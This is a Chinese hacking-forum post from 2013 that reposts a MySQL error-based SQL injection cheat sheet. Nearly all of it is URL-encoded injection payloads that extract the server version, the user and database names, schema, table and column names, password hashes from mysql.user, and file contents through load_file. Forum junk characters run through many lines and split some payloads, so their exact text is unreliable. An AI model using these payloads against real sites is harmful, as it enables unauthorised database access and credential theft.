Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑


Mysql暴错注入参考（pdf），每天一贴。。。

, @7 r0 D$ R9 `MySql Error Based Injection Reference
0 h6 {0 W9 U, G& C; N" H7 b5 {  r[Mysql暴错注入参考]
Authornig0s1992
9 K& W( U/ [* g3 a% }& _Blog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
, W. q0 t6 E* S/ {  y, M9 J( mMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
  T4 d% [5 c2 I2 |小部分版本使用name_const()时会报错.可以用给出的Method.2测试
查询版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)
# |9 |& i+ V* q5 w+ D/ OMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
% u) k- I9 k7 b/ Z  Yup by a)b)
查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
7 E- k" U% \9 Y! u; Band(0)*2))x+from+information_schema.tables+group+by+x)a)
查询当前数据库:
5 D/ @8 T3 m% uMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
. q+ F& X7 {: V# F2 y( ]or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
0 t: k3 B: Q* {" F依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
; X& V7 f. U, y$ a, N顺序替换
8 @* x' I1 f. t+ g4 I爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql
9 K2 m: i4 `5 |. O/ m依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
, \1 v- |& o& t# I- r4 d: aable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)+and+1=1
0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
" ~, H# E2 w/ ^7 Gand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
! H2 I9 s; r. H1 q: n2 @+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
- i4 ^; S2 ^; h4 ]' c3 A  ?0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
7 s7 K# A+ z) r( m" f# ^and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
/ q5 b7 y& W: Cloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
: s5 A  P6 u  ^: `4 [1 S( _4 e$ W3 P8 V6 F依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
! V9 |; h' f) G8 M2 b, \ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
将n顺序替换
. v( C+ m: I9 ?6 _3 o7 N爆文件内容:
/ L+ g8 p4 P% |1 x7 {: |! {% B% qand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
" C3 x: l7 V8 c1 y5 |from+information_schema.tables+group+by+a)b)
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
Thx for reading.

! c' K' f; C( `) j不要下载也可以，
4 d+ [4 ?' r/ k3 h& v1 A7 I